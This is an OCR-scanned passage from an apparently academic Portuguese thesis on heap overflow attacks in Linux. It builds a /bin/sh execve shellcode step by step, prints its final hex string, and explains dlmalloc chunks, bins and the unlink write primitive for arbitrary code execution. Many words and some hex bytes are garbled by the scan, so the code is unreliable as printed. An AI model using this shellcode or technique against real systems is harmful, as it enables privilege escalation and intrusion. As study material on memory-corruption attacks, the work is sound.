e chamadas do sistema operacional (syscalls). @agra para um Shellcode € usar o
minimo de bibliotecas.

Boa parte dos Shellcodes € gerada através da@&xttas Object Codes (linguagem
nativa dos processadores) de um cédigo escrito ssanily, e sdo representados
atravées de uma cadeia de valores em hexadecimad, gggem mais facilmente
manipulados e injetados nos programas alvo.

Como o maior objetivo de um Shellcode é fazer cam g programa vulneravel
funcione como porta de acesso ao sistema operacimspedeiro, no Shellcode
demonstrado serdo usadas chamadas de sistemallEpypeaé a maneira mais facil de
interagir com este sistema operacional.

Os sistemas operacionais geralmente possuem uni@gidgh a qual os programas
normais utilizam quando necessitam de se comunararo nucleo, ou seja, realizar as
chamadas de sistema. Os sistemas Linux utilizamo p#va esta finalidade. (Trindade,
2009).

Para utilizarmos as syscalls no Linux, nés podefanser as chamadas através de
fungBes da Libc ou chamé-las diretamente atravéssiembly.

°®Tunel ou tunelamento (tunnelling) é a conex&o egpifica entre dois computadores (quem interceptar
0s pacotes da conexdo nao tera acesso ao contélidd}inel é dito reverso quando é feito com que o
computador remoto inicie uma conexao de tunelameoio o computador local. Em uma situacao de
ataque, o atacante através da execucdo do Shelllameom que a conexdo criptografica inicie do

computador remoto para o computador do atacante.

1% Exploit € um programa de computador, uma porcadats ou uma sequéncia de comandos que se
aproveita das vulnerabilidades de um sistema ojoer@c Neste trabalho, para explorar o segundogrup
de ataques de Heap Overflow em Linux (secéo Jo2ytilizado o Exploit escrito em Linguagem C da
figura 3.18.
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A seguir sera demonstrado de maneira simplificaciéagéo do Shellcode “/bin/sh”
utilizado no Exploit do segundo grupo de ataquelelap Overflow (secéo 3.2).

2.4.2 Shellcode “/bin/sh”

Agora serdo demonstrados os passos basicos paiaca@ocdo Shellcode que sera
usado de exemplo no Exploit para exploracéo do ieegflow (secao 3.2). O objetivo
deste Shellcode é chamar o “Shell sh”, que, seifamado com sucesso, ira indicar que
o exploit funcionou.

Para chamar o “Shell sh” sera utilizada a chamadaistema “execve”, que é
utilizada para chamar um executavel com paramei@oshamada, definindo variaveis
de ambiente para nova chamada.

Abaixo temos a estrutura da chamada de sistemaerec linguagem C:

Char *lista[2];

lista[0] = “/bin/sh”;

lista[1] = NULL;
execve(lista[0], lista, NULL);
Exit(0);

Maiores informacgbes sobre a chamada de sistemaef}epodem ser obtidas em
(DIE, 2011).

Sao necessidades para a confec¢do do codigo dadaaxecve:

- Area de dados para a string “/Bin/sh”

- Area de dados para um nulo (NULL)

- Montar a chamada execve() em assembler

Abaixo € mostrada a sequéncia de comandos em dsselalthamada execve().

Movl  Oxb, %eax ; nUmero da execve
movl string_addr, %ebx ; lista[0]
lea  string_addr, %ecx; lista
lea  null_string, %edx; NULL

int  $0x80
string: .string /bin/sh\0  ; nome do programa
string_addr: .long string ; endereco do string

null_string: .long 0

Apoés o cbdigo da chamada de sistema execve, déeamecesddigo da chamada de
sistema “exit”, pois esta chamada servird paracardique o codigo funcionou
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carregando “0” no registrador “ebx”, que € o regidbr em que ficam armazenados o0s
codigos de erros.

Para chamar a chamada “exit”, devemos colocarrilifmero relativo a chamada de
sistema exit) no registrador “eax”, colocar “0” registrador “ebx” (argumento que
indica que o cédigo foi executado sem erro) e eee@uinstrucdo “Int $0x80” que fara
com gue seja executada a chamada de sistema.

Deste modo, o codigo da chamada exit tem o segeihcligo em assembler:

movl  0x1, %eax
movl  0x0, %ebx
Int $0x80

Juntando execve() e exit(), temos:

movl  Oxb, %eax ; nUmero da execve
movl string_addr, %ebx; lista[0]
lea string_addr, %ecx; lista
lea null_string, %edx; NULL
int  $0x80
movl 0x1, %eax
movl 0x0, %ebx

int  $0x80
string: .string /bin/sh\0 ; home do programa
string_addr: .long string ; endereco do string

Null_string: .long 0

2.4.2.1Problema de enderecamento

Neste Shellcode, é feito referéncia a um stringn/éh” (0 mesmo problema ocorre
guando é necessario fazer referéncias a pontepodm nao é possivel usar nomes de
variaveis e muito menos enderecos estaticos, p&iketicode deve ser um cédigo de
maquina independente de posi¢do e que ira sefdosiurante a execucao.

Um fator que dificulta mais € que na arquitetur88 ndo tem um modo de
enderecamento relativo ao program counter (PC) (BRER010).

Desta maneira, serd necessario algum enderecogamraomo referéncia.

Para resolver este problema é utilizada uma téanieausa os comandos JUMP e
CALL, conforme demonstrado no exemplo abaixo:

1: jmp short data
2: code:

3: pop esi




27

8: data:

9: call code

db “Hello World”

Na linha 1 é feito o desvio para o rotulo datah@i), logo em seguida € chamada a
rotina code (linha 9). Quando é chamada essa ratinendereco correspondente a
instrucdo seguinte € colocado na pilha, pois cataque uma rotina ou sub-rotina €
chamada, o compilador empilha na memdria valorfesengtes a enderecos e instrucoes,
e o0 primeiro valor a ser empilhado é o enderecoet@no da pilha. Esse endereco
corresponde ao endereco da string “Hello World"ntbe da rotina “code” a primeira
instrucdo € “pop esi”, para guardar o enderecosttant)” no registrador “ESI”. Pode-se
entdo trabalhar com a string utilizando o regisird&SI1” como um ponteiro para ela.

Fazendo as modificagBes descritas acima, € obtsdguinte cddigo:

Jmp end_code
begin_code: pop %esi
movl Oxb, %eax
mov! string_addr, %ebx
lea string_addr, %ecx
lea null_string, %edx
int  $0x80
movl 0x1, %eax
movl 0x0, %ebx
int  $0x80
end_code: call begin_code
string: .string /bin/sh\0
string_addr:  .long string

Null_string:  .long 0

Compilando e linkando o codigo acima, € obtido ddigo objeto. Traduzindo este
codigo objeto para uma string, é obtido o seguittigo em hexa:

\xeb\x1f\x5e\xb8\x0b\x00\x00\x00\x89\x 76\x08\x89\xf 3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xc d\x80\xe8\xdc\xfAxfAxff
\X2f\x62\x69\x6e\x2f\x 73\x68\x00\x00\x00\x00\x00\x0 0\x00\x00\x00
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Porém, ainda existe um problema nesta string cu@résenca do byte zero (\x00).
Como geralmente o Shellcode é inserido no progetnaaés de alguma funcdo que faz
manipulacdo de strings, o byte zero sera intergoetamo final da string e o Shellcode
sera executado parcialmente.

Para resolver este problema, serd usada ao invésstlacdo“mov” a instrucéo
“xor” (WEBER, 2010). Assim, por exemplo, “mov eax, Ox8f&substituida por “xor
eax, eax”. Isto evita a presenca de bytes nulasrega zero no registrador “eax”. (ou
HebX”).

O cadigo final ficara:

jmp +0x1f ; 2 bytes
begin_code: pop %esi ; 1 byte
xor  %eax, %eax ; 2 bytes
movb %al, 0x7(%esi) ; 3 bytes
movl %eax, Oxc(%esi) ; 3 bytes
movb 0x0b, %al ; 2 bytes
movl %esi, 0x8(%esi) ; 3 bytes
movl %esi, %ebx ; 2 bytes
lea  O0x8(%esi), %ecx ; 3 bytes
lea  Oxc(%esi), Y%edx ; 3 bytes
int  $0x80 ; 2 bytes
xor  %ebx, %ebx ; 2 bytes
mov  %ebx, %eax ; 2 bytes
inc  %eax ; 1 byte
int  $0x80 : 2 bytes
end_code: call .-Ox24 ; 5 bytes
string: .string /bin/sh ; 7 bytes

Novamente, compilando e linkando o cédigo acimab&do um novo codigo
objeto. Traduzindo este novo cddigo para uma stéraptido o seguinte Shellcode, que
sera usado no Exploit (figura 3.18) para testexdmiegcdo da vulnerabilidade de Heap
Overflow:

"\ xeb\ x1f\ x5e\ x31\ xc0\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0O\ xOb\ x89\ x76\ x08\ x89\ xf 3

\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd\ x80\ xe8\ xdc\ xf f\ xf
f\ xff/bin/sh"
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3 HEAP OVERFLOW NO SISTEMA OPERACIONAL
LINUX

Ao iniciar o estudo do Heap Overflow, iremos veyuahas caracteristicas que foram
utilizadas para explorar esta vulnerabilidade.

A primeira caracteristica € que os ataques de Beapflow se caracterizam por ter
dois componentes:

- Um programa vulneravel, que, dependendo do tipoathque, deve ter uma
determinada estrutura (sequéncia de comandos).

- Um exploit, que podera ser um codigo em “Lingumage® ou uma sequéncia de
comandos em uma linguagem em script, como por eefpthon ou Perl, que servira
para injetar dados em um programa vulneravel, mavado a vulnerabilidade.

A segunda caracteristica € que 0 objetivo do emera utilizar o programa
vulneravel para realizar comandos ou opera¢cfesosagaais ele nao tem permissao.

No caso de um ataque a uma maquina local, o atapaderia utilizar o programa
vulneravel para incluir seu usuario na lista de iathtnrador ou para executar comandos
com o perfil de administrador. Para isso, o atacteria como objetivo achar programas
vulneraveis que tenham permissfes de acesso mdmrpse a sua.

J& no caso de acessos remotos, um individuo mahciohado pode usar um
programa vulneravel para executar comandos coma&xamnplo, abrir um “Shell”, que
ele ndo conseguiria acessar remotamente.

As técnicas de exploracdo de falhas de estouro edp Hodem basicamente ser
divididas em dois grupos (ROBERTSON, 2003):

O primeiro grupo compreende ataques onde o Ovediwma variavel alocada na
Heap altera o contetdo de blocos de memdria adggen

Ja o segundo grupo compreende ataques que altesanmf@macdes de
gerenciamento da memoria Heap utilizadas pelo ger@or de memoria.

A seguir faremos uma descricdo destes grupos deeatle Heap Overflow.

3.1 Primeiro grupo de ataques de Heap Overflow

Conforme citado acima, o primeiro grupo de técnmassiste em provocar o Heap
Overflow alterando posicdes adjacentes da memdxesta situacdo, caso as
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informacdes adjacentes forem criticas para a segarda aplicacdo, a alteracdo destas
de forma maliciosa, pode comprometer a seguranepldacao e consequentemente do
sistema do qual a aplicacao faz parte. Além dis=sn 0 sistema ndo possua controle de
escrita em outras partes da memodria, esta técmida per usada para sobrescrever
dados em outras areas de memaoria, como por exeanpilha.

A seguir seré analisado o cédigo abaixo, extra@(C®ONOVER, 1999):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUFSIZE 16

#define OVERSIZE 8 /* Overflow buf2 by OVERSIZE bytes */
int main()

u_long diff;

char *bufl = (char *)malloc(BUFSIZE), *buf2 = (char *)

malloc(BUFSIZE);

diff = (u_long)buf2 - (u_long)bufl;

printf("bufl = %p, buf2 = %p, diff = Ox%x byt es\n", bufl, buf2,
diff);

memset(buf2, ‘A, BUFSIZE-1), buf2[BUFSIZE-1] =10}

printf("before Overflow: buf2 = %s\n", buf2);

memset(bufl, 'B', (u_int)(diff + OVERSIZE));

printf("after Overflow: buf2 = %s\n", buf2);

return O;

}

Figura 3.1 - Programa Heapl.c

Apo6s executar o cédigo obtemos o seguinte resultado

# gcc Heapl.c —o Heapl

# ./Heapl 8

bufl = 0x804e000, buf2 = 0x804eff0, diff = OxffO by tes
before Overflow: buf2 = AAAAAAAAAAAAAAA

after Overflow: buf2 = BBBBBBBBAAAAAAA

Neste cddigo sdo alocadas dinamicamente as vaxibuél e buf2. Assim, bufl foi
alocada no endereco 0x804e000 e buf2 no ender&@16K0 e a diferenca entre os
enderecos das variaveis € de 0xffO bytes (408Ghyte

Antes do Overflow, a variavel buf2 € preenchida aaracteres “A”, demonstrado
na linha de saida “before Overflow: buf2 = AAAAAAMRAAAAA”. ApGs isto, sdo
copiados caracteres “B” em bufl em quantidade igualoma de bufl, diff mais
OVERSIZE, e isto faz com que desta maneira a varibuf2 seja preenchida com a
quantidade de caracteres “B” igual a OVERSIZE. istdemonstrado na linha “after
Overflow: buf2 = BBBBBBBBAAAAAAA”.

Como bufl e buf2 sdo armazenados em sequéncia, werfl&v no bufl pode
alterar o contetudo de buf2. Este Overflow podega ssado por um usuario mal
intencionado para provocar erros de execucao ngrgor@ ou para tentar sobrescrever
dados em posic¢des subsequentes de memodria.
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Porém, geralmente é dificil determinar qual alt@oacritica pode ser realizada e
como esta alteracéo pode ser realizada com o wbj@é comprometer a seguranca da
aplicacdo. Normalmente os principais alvos dosaatas, nem sempre disponiveis, sao
ponteiros para dados (IPO) e ponteiros para fungd@s/NAN, 2005).

A seguir sera descrito o segundo grupo de técuieddeap Overflow que engloba
exploragbes que consistem em alterar as informad@eontrole da area de memoria
Heap objetivando a alteracdo de um determinadoregalee memaria.

3.2 Segundo grupo de ataques de Heap Overflow

O segundo grupo técnicas de Heap Overflow expldataoque as informacdes de
controle da memodria Heap séao colocadas no mei@alss. Deste modo, provocando
Overflow em uma variavel na memoria Heap, é pokaiterar informacdes de controle
de variaveis subsequentes. Como estas informa@@estdizadas pelo alocador de
memoria dinamica, a alteracdo de maneira malicggsa utilizada para provocar a
escrita de 4 bytes em qualquer posicdo de memadgaenha permissédo de escrita, e
deste modo, controlar a execucdo de um programao(aé foi citado anteriormente,
esta técnica foi divulgada inicialmente por Solaesigner em julho de 2000.
(FERGUSON, 2007)

A seguir sera mostrada uma visdo geral do sisteangetenciamento de memoaria
alocada dinamicamente utilizado na biblioteca Gléqrojetado poiDoug Leae
Wolfram Gloger o qual é utilizado na maioria das distribuicded_ohux. Esse estudo &
necessario, pois as técnicas para exploracdo daepras naHeap se baseiam
justamente na forma como este sistema de gerendianrata as por¢cées de memoria
alocadas.

3.2.1 Estudo do alocador de memdéria Dinamica do Linux: Dog Lea’s Malloc

Nos sistemas Unix, a alocacdo dinamica de memdgaénsuportada diretamente
pelas varidveis da linguagem C, mas é disponibidiz#través das funcdes da biblioteca
GNU C library (libc ou glibc). Esta biblioteca usamo base o alocador de memoria
dindmica Doug Lea’s Malloc (Dlmalloc) (KAEMPF, 200Este alocador controla as
requisicoes e liberacdes de memadria dindmica dmgg@mas ao sistema operacional.

Se 0s processos tivessem que usar as chamadasedeadork() ou mmap() toda vez
gue necessitassem de mais memoéria durante a ereestds operacdes seriam lentas e
de dificil controle (ALVARES, 2009). Por isso aligligerencia a area de memoéria Heap
e, portanto, fornece as funcbes malloc(), callog@loc() e free() as quais alocam e
liberam memdéria dinamicamente. Assim, estas fungd@enam as chamadas de
sistema mmap() (reserva uma nova area) ou brkdlib@a determinada area).

Este trabalho sera focado no estudo no DLmallooagp®s aspectos suficientes
para o entendimento do Heap Overflow. Deste mogi@osestudados os conceitos de
“Chunks de memodria”, “Boundary Tags” e “Bins” queios essenciais para 0
entendimento deste sistema de alocacao.
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As versbes do Glibc tém “cddigo aberto”, seus adsligsgdo amplamente
documentados, e cada versao é composta de varaesan{funcdes) que serdo citadas
na descricédo deste alocador.

3.2.1.1 Chunks (pedacos) de memoéria

A area da memoria Heap € dividida em contiguososigpedacgos) de memoria nos
quais sao gravadas as informacfes alocadas, chanshdoks. Um chunk pode se
encontrar em dois estados: alocado e desalocade)(li

Os chunks de memodria gerenciados por Dimalloc &&mados e liberados atraves
das funcgdes disponiveis aos programas do usudincjgalmente as funcées malloc() e
free().

O layout da &rea de memoria Heap evolui quandauagdés malloc e free séo
chamadas. Assim, os chunks podem ser alocadosaditi®e divididos e unidos. Uma
regra importante neste alocador é que, para diminfragmentacdo, nunca pode haver
dois chunks livres um fazendo fronteira com o au@aando ocorrerem dois chunks
livres lado a lado, o sistema faz com que elesisédadm em um e o tamanho do chunk
resultante é a soma dos respectivos tamanhos.

Um chunk pode possuir dois estados: Alocado (en) asodesalocado (livre),
Chunks livres sdo mantidos em bins, que seraosvigtos adiante.

Cada chunk é composto de duas partes, uma faigageaenciamento dos blocos
(boundary tags) e a segunda realmente é utilizadaguardar dados das aplicacfes. Os
ponteiros devolvidos pelos comandos malloc, caflo®alloc apontam para o inicio
desta segunda parte.

O chunk wilderness é um chunk especial, pois, &effonteira com o endereco
maximo de dados da memoria Heap e, portanto € am ipie pode ser estendido via
chamada de sistema sys_brk. Este chunk se ensamare disponivel e é tratado por
DImalloc como o maior de todos os chunks.

3.2.1.2Boundary Tags

Boundary tags corresponde a informacfes de gereania dos chunks que séo
utilizadas pelo alocador em estudo e compdem oripr@hunk. Estas informacdes
dependem se o chunk encontra-se alocado ou lia&g etilizadas principalmente para
que:

- Dois chunks livres adjacentes sejam unidos entinico chunk.

- Todos os chunks livres podem ser percorridosir pie um chunk livre qualquer,
pelos ponteiros anterior ou préximo.

- Ter informagéo sobre o tamanho do chunk.

A forma como os seus campos sao utilizados depandechunk esta ou ndo em uso
(alocado), e também se o chunk anterior esta oeméaso (alocado).

Na figura abaixo temos a estrutura de um boundayy t
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#define INTERNAL_SIZE_T size t

struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;

¥

Figura 3.2 - Estrutura de um Boundary tag

Na figura abaixo, temos a estrutura de um chuntaalio:

chunk —

Tamanho do chunk anterior — usado se o chunk

Brey size anterior esta livre

Tamanho do chunk = nr de bytes entre chunk e next chunk -

2lee 2 dltimos bits usados como informacdo de status

mem =

Regido de dados
do usuario

Next chunk —

Tamanho do chunk anterior — néo usado por Dimalloc
Prev_size pois o chunk anterior estd alocado — Pode ter dados do
chunk anterior aqui para reduzir as perdas

Figura 3.3 - Chunk alocado

Sobre a figura acima:
- "chunk™ é o inicio do chunk (e, portanto, o inidia boundary tag deste chunk)
- "nextchunk” € o inicio do préximo chunk contiguo.

- "mem" é o inicio da area de dados. Seu valor éendnia € retornado para o
usuario quando o chunk € alocado, como, por exerpplo comando malloc.

- campo prev_size: Indica o tamanho do chunk amteg este estiver livre. Caso o
chunk anterior esteja em uso, pode ser utilizada pmardar dados deste chunk,
conforme sera visto em 3.2.1.3 — Célculo do tamafiétivo de um chunk.

- campo size: Indica o tamanho do chunk atual, a, svalor entre chunk e
next_chunk. Os ultimos 2 bits sdo utilizados garardar informacdes de status. Mais
adiante, serdo dados mais detalhes sobre este campo

Os campos fd e bk ndo existem porque este churk adstado. Estes campos
existirdo quando este chunk estiver livre e elenii na area de dados do usuario.
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Ja os chunks livres sdo armazenados em listadaregsuduplamente encadeadas e
tém a seguinte estrutura:

chunk —
: Tamanhe do chunk anterior — usado se o chunk
Prev_size p 4
= anterior estd livre
: Tamanho do chunk — nr de bytes entre chunk e next chunk —
size s ¢ 7 ),
2 dltimos bits usados como informagao de status
mem =
FD Ponteiro para o proximo chunk livre
BK Ponteiro para o chunk anterior livre
Regido de,d?dos N3o usada para dados pois o chunk esta livre
do usudrio
Next chunk =
. Tamanho do chunk anterior — usado por
Prev_size . ; i
Dimalloc pois o chunk anterior estd livre

Figura 3.4 - Chunk Livre

Sobre a figura acima:

- Campos fd e bk: Como este chunk esta livre, elgepce a uma das listas
duplamente encadeadas chamadas bins. O campo tiiz&da para apontar para o
endereco do chunk anterior e o campo fd é utilizzata apontar para o proximo chunk
desta lista. Caso ele seja 0 Unico chunk da biesedois campos devem conter o
endereco do elemento raiz da bin. Mais adiantenasanais detalhes sobre estas bins.

Como foi mostrado nas figuras acima, em relacaoaatpo prev_size, caso o chunk
anterior esteja alocado, é utilizado para guarddos do usuario daquele chunk e caso
o chunk anterior esteja livre é utilizado para daam tamanho do chunk anterior. Por
isso que nas figuras de chunk alocado e livre,eapao campo prev_size do proximo
chunk.

As duas estruturas possuem em comum 0S campos ritamaa porcao
imediatamente anterior” caso essa esteja livremdhho da porcdo alocada”. Os dois
bits menos significativos do tamanho da porcdoaalagpossuem uma indicacédo se a
porcao anterior estiver livre (bit “P”) e se o gezamento da por¢ao atual foi delegada
ao sistema operacional (bit “M”). Esses bits séirados desse campo atraves de
mascaras. Mais adiante, serdo vistos detalhessdagade controle.

A conversdo de cabecalhos do chunk aos ponteirassdério (mem) e inicio do
chunk, é realizada pelas macros chunk2mem() e ntamR{), que simplesmente
adicionam ou subtraem 8 bytes (a soma dos tamald®sampos prev_size e size),
pois estes campos separam "mem" do inicio do chunk.

3.2.1.3 Campo size — Calculo do tamanho efetivandehunk

A macro que calcula o tamanho do chunk é a regsieef). Nesta secdo serao
demonstrados alguns detalhes de como é feito aloc&lo tamanho de um chunk, que,
conforme sera visto, possui um tamanho efetivo ntaie o solicitado.
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Em arquiteturas de 32 bits, o gerenciamento danrdgdo sempre contém campos
de gerenciamento de informagé&o de 4 bytes.

No alocador em estudo, os trés bits menos sigtifaado campo “size” do chunk
sdo usados como bits de status. Dessa forma, ot@nt® chunk deve ser um mdultiplo
de 8.

Assim, quando um usuario solicita “req” bytes demga dinamica, o calculo feito
para tamanho do chunk é:

req bytes (nimero de bytes requisitados)
+ 8 bytes dos campos prev_size e size

- 4 bytes do campo prev_size do proximo chunk

= Tamanho efetivo necessario do chunk

Figura 3.5 — Calculo do tamanho necessério de wmkch

Como ja foi dito que o valor deve ser um multiple 8 (oito), a macro
request2size() que calcula o tamanho de chunk sitagd, deve devolver o primeiro
multiplo de 8 bytes maior ou igual ao tamanho efethecesséario. Além disso, o
tamanho minimo de um chunk é de 16 bytes (tamaehond boundary tag), porque
deve ter no minimo os campos prev_size, sizebkl e

3.2.1.4 Campo size — Informagdes de Status

O campo “size” de um “boundary tag” tem o tamantetiv (em bytes) do espaco
que o chunk ocupa na memdria e informacdes desstBgia informacéo de status é
armazenada dentro dos 2 bits menos significatigas, de outra forma n&do seriam
utilizadas, porque o tamanho de um bloco é semmrentltiplo de 8 bytes, e os 3 bits
menos significativos de um campo de tamanho dewes@mpre ser iguais a zero.

O bit de mais baixa ordem do campo de tamanho tdmt BREV_INUSE e o
segundo bit de mais baixa ordem contém o bit IS_NPRED:

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

Figura 3.6 - Bits menos significativos do camp@siz

Se o0 bit PREV_INUSE de um chunk “p” € setado (igadl), o pedaco fisico de
memoria localizada imediatamente antes de “p” €aalo, e 0 campo prev_size do
pedaco “p” pode, portanto, manter os dados do itsiMas se o PREV_INUSE é igual
a zero, o0 pedaco fisico de memodria antes de pr& kvo campo prev_size do pedaco
“p” por isso é usado por DImalloc e contém o tanwatdy chunk fisicamente anterior.



36

Malloc Doug Lea determina se o pedaco fisico laedldo imediatamente antes de
um bloco de memdria “p” estd alocado ou nao atralgsnacro prev_inuse(), que
verifica o bit PREV_INUSE do pedaco atual. Poréarapdeterminar se o “p” pedaco
em si esta ou ndo em uso, Dimalloc tem que verifiteavés de uma mascara, o bit
PREV_INUSE do préximo chunk contiguo de memoria.

3.2.1.5 Campo prev_size

Se o chunk de memoria localizado imediatamentesatgaim chunk p esta livre, no
campo prev_size do chunk “p” € armazenado o tamdalatunk anterior.

Porém, caso o chunk anterior esteja ocupado, o @gmgv_size do chunk p é
utilizado como extensdo do armazenamento de dadoshdnk anterior (a fim de
diminuir o desperdicio). E por isso que, como javfsto, para céalculo de um tamanho
de um chunk sempre séo subtraidos 4 bytes, podpeatgdizados 4 bytes do chunk
posterior.

Dado um ponteiro para o chunk “p”, se o chunk amtestiver livre, o endereco do
bloco anterior pode ser calculado através do cgmpo size.

3.2.1.6 Bins

Chunks que ndo estdo em uso pela aplicacédo (fragkehsdo mantidos em bins,
gue sao listas duplamente encadeadas (com os nesraeierior e proximo), agrupados
por tamanho. Um chunk quando é tornado free (lide)acordo com o seu tamanho é
armazenado pelo Dimalloc na “bin” correspondente.

A figura a seguir demonstra como ficam os chunksneendria, com chunks livres
de mesmo tamanho, ou agrupados por faixas de tamaumpondo uma lista
duplamente encadeada dentro de cada bin.

indice anterior

l T Bloco ocupado

Indice de
tamanho x-1

Bloco livre de

l T /] tamanho x %
/ A\
/ \
\

Indice de [ \
| Bloco ocupado |
tamanho x \

l T b ,_77_3 Blaco livre de

tamanho x

Indice de

tamanho x+1 \ \-\

Préximo indice

Bloco ocupado

Bloco livre de J
tamanho x+1

Bloco acupado

Figura 3.7 - Visualizagdo da memoria Heap
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A figura ilustra sete por¢cdes de uma regido de mienieap As porcdes em azul
estdo em uso e as em cinza sao as livres e comjiéies) duplamente encadeadas
agrupadas por tamanho.

Na estrutura da memoria Heap, inicialmente exdpenas um unico chunk que é o
chunk Wilderness, e todas as bins estdo vazias.

Conforme os chunks vao sendo liberados, de acampactamanho eles passam a
pertencer a uma bin. Para as bins grandes que emarazchunks de diferentes
tamanhos (por faixa de tamanho), os chunks estardenados por tamanho e o
ponteiro forward destas bins apontam para o prom@menor) chunk da bin (ou para
propria bin, se esta estiver vazia) e o ponteircklvard de uma bin aponta para o
altimo (o maior) chunk de memaria da bin (ou pdm ke esta estiver vazia).

Vejamos na figura a seguir a estrutura das bins:

Bins

Indice 2 Bins exatas 4 64 65 classificadas 127
) L 2— L Z—
Tamanho 16 24 32 512 576 640 22
Chunks
I |
I
—

Figura 3.8 - Representacao da estrutura das Bins

Os Uunicos chunks livres que ndo pertencem a umas&inos chunks que séo
gerados pela sobra da divisdo de um chunk e o chilldlerness, o qual ira ser tratado
especialmente e nunca sera incluido em um Bin.

Existem 128 bins, e dependendo do tamanho delashumk free € armazenado
pelo DImalloc na Bin correspondente de acordo ca@nmanho. A fim de localizar o
index da Bin correspondente, Dlmalloc chama as @sasmallbin_index() e
Bin_index().

Smallbin_index - Bins pequenas

Malloc Doug Lea considera os pedacos cujo tamaniméeéor a 512 bytes como
pedacos pequenos, e armazena esses pedacos emsubabihs pequenas.

Cada bin pequena detém chunks de tamanho idéeticomo o tamanho minimo
alocado é de 16 bytes e o tamanho de um chunk preamm mudltiplo de 8 bytes, a
primeira bin pequena detém o tamanho de chunk$ dg/tes, a segunda chunks de 24
bytes, a terceira chunks de 32bytes, e assim potejisendo que a ultima bin tem os
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chunks de 504 bytes. O indice da bin correspondantéamanho sz de um chunk
pequeno &, portanto, (sz / 8), como implementadoao smallbin_index ().

Bin index (Bins grandes)

Bins grandes sé&o utilizadas para armazenar chiumks tom tamanho de 512 bytes
ate 128 Kbytes. Cada bin grande armazena chunksnde faixa determinada de
tamanho.

A macro bin_index() € usada para determinar em ljunaé guardada o chunk com
tamanho sz, conforme figura abaixo:

#define bin_index(sz) \

((((unsigned long)(sz) >>9)== 0)? ((uns igned long)(sz) >> 3):\
(((unsigned long)(sz) >>9) <= 4) ? 56 + ((uns igned long)(sz) >> 6):\
(((unsigned long)(sz) >>9) <= 20) ? 91 + ((uns igned long)(sz) >> 9):\
(((unsigned long)(sz) >>9) <= 84) ? 110 + ((uns igned long)(sz) >> 12):\
(((unsigned long)(sz) >> 9) <= 340) ? 119 + ((uns igned long)(sz) >> 15):\
(((unsigned long)(sz) >> 9) <= 1364) ? 124 + ((uns igned long)(sz) >> 18):\

126)

Figura 3.9 — Célculo do tamanho pela macro bin x(jde

Os chunks armazenados nestas bins sdo organizanosrgiem crescente de
tamanho e a busca pela bin é baseada no algoriBast ‘Fit Allocatioy, através da
pesquisa na lista encadeada de qual a menor pdecétemoria livre que comporta o
tamanho solicitado.

Para requisicbes maiores que 128 Kbmalloc delega as requisicbes para o
gerenciador de memaria do sistema operacional maxL{ALVARES, 2009).

3.2.1.7 Adicionando e removendo chunks de uma Bin

O algoritmo de liberacdo de uma determinada porgéomemoria € parte
fundamental dentro o sistema de gerenciamento daéneeHeap Esse algoritmo é
responsavel pela reciclagem da memoria de forntéeefe, observando o estado da
Heapno momento da liberacdo para realizagdo de otgdes garantindo um melhor
aproveitamento do espaco em memoéria e preparanéspaco liberado para ser
reaproveitado.

O processo de liberacdo de memodria € respons@lel gxecucdo denferge$
(unido de chunks vizinhos vazios), evitando umgnfrantacdo desnecessariattizap
Quanto mais fragmentaddeapmais custoso sera o processo de alocacédo de naemori
(uma lista maior para fazer busca).

DImalloc usa a macro unlink() a fim de retirar uhuok vazio “p” de uma bin de
chunks livres. Para isto, unlink() faz a substéioigdo ponteiro backward do chunk

seguinte ao “p” na lista pelo ponteiro do chunleent da lista, e o ponteiro forward do
chunk anterior ao chunk “p” pelo ponteiro do chyisterior ao “p” na lista.

Abaixo temos a macro unlink():
#define unlink( P, BK, FD ) { \

BK = P->bk; \
FD = P->fd; \

FD->bk = BK; \
BK->fd = FD; \

}

Figura 3.10 - Macro unlink()
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Porém, para colocar em uma bin um chunk livre Radenho S, Dimalloc utiliza a
macro frontlink(), a qual faz os seguintes procesitos:

- Utiliza as macros smallbin_index() ou bin_index{im de descobrir o indice IDX
correspondente ao tamanho S.

- Chama mark_binblock () para indicar que esteénBim mais vazio.
- A macro bin_at() € chamada a fim de determinamaereco fisico do bin.
- Finalmente, armazena o “P” chunk livre no lugant@ na bin:

Na figura a seguir € demonstrada a macro frondlink(

#define frontlink( A, P, S, IDX, BK, FD ) {
if (S <MAX_SMALLBIN_SIZE ) {
IDX = smallbin_index( S );
mark_binblock( A, IDX);
BK = bin_at( A, IDX);
FD = BK->fd;
P->bk = BK;
P->fd = FD;
FD->bk = BK->fd = P;
}else {
IDX = bin_index( S);
BK = bin_at( A, IDX);
FD = BK->fd;
if (FD == BK) {
mark_binblock(A, IDX);
}else {
while ( FD != BK && S < chunksize(FD) ) {
FD = FD->fd;

}

BK = FD->bk;
}
P->bk = BK;

P->fd = FD;
FD->bk = BK->fd = P;

o o o o o o o T o o o o o o o o o o o o o — —

Figura 3.11 — Macro frontlink()

3.2.2 Técnica de explorar o Heap Overflow explorando a acro unlink()

Se um atacante consegue enganar Dimalloc em pameesto de um pedaco
cuidadosamente falsificado de memoria (pedaco @gogos bk e fd foram alterados),
com a macro unlink() ele sera capaz de substitna determinada posicdo na memoéria
pelo valor de sua escolha, e, portanto, ser capagvdntualmente executar codigo
arbitrario (KAEMPF, 2001).

A figura 14 mostra novamente a macro unlink():
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#define unlink( P, BK, FD ) { \
BK = P->bk; \
FD = P->fd: \
FD->bk = BK; \
BK->fd = FD; \

}

Figura 3.12 - Macro unlink()

Analisando a macro acima nota-se que quando o ctpihké retirado da lista
duplamente encadeada, 0 que ocorre € que atrasésalboes de endereco “fd” e “bk”

do chunk atual (que esta sendo retirado da listag@nstituida a lista. (BLACKNGEL,
2009).

Resumidamente, o que a macro unlink faz € modificés enderecos de memaria
gue sao:

- Na posicao de memoria “bk + 8” (campo fd do chankerior) é colocado o valor
de “fd” = campo que deve apontar para o proximakhu

- Na posicao de memdéria “fd + 12 (campo bk do chpaokterior)” € colocado o
valor de “bk” = campo que deve apontar para o clam&rior.

A figura abaixo demonstra a retirada de um chunksia duplamente encadeada
pela macro unlink().

BK BK \
\\ \
\
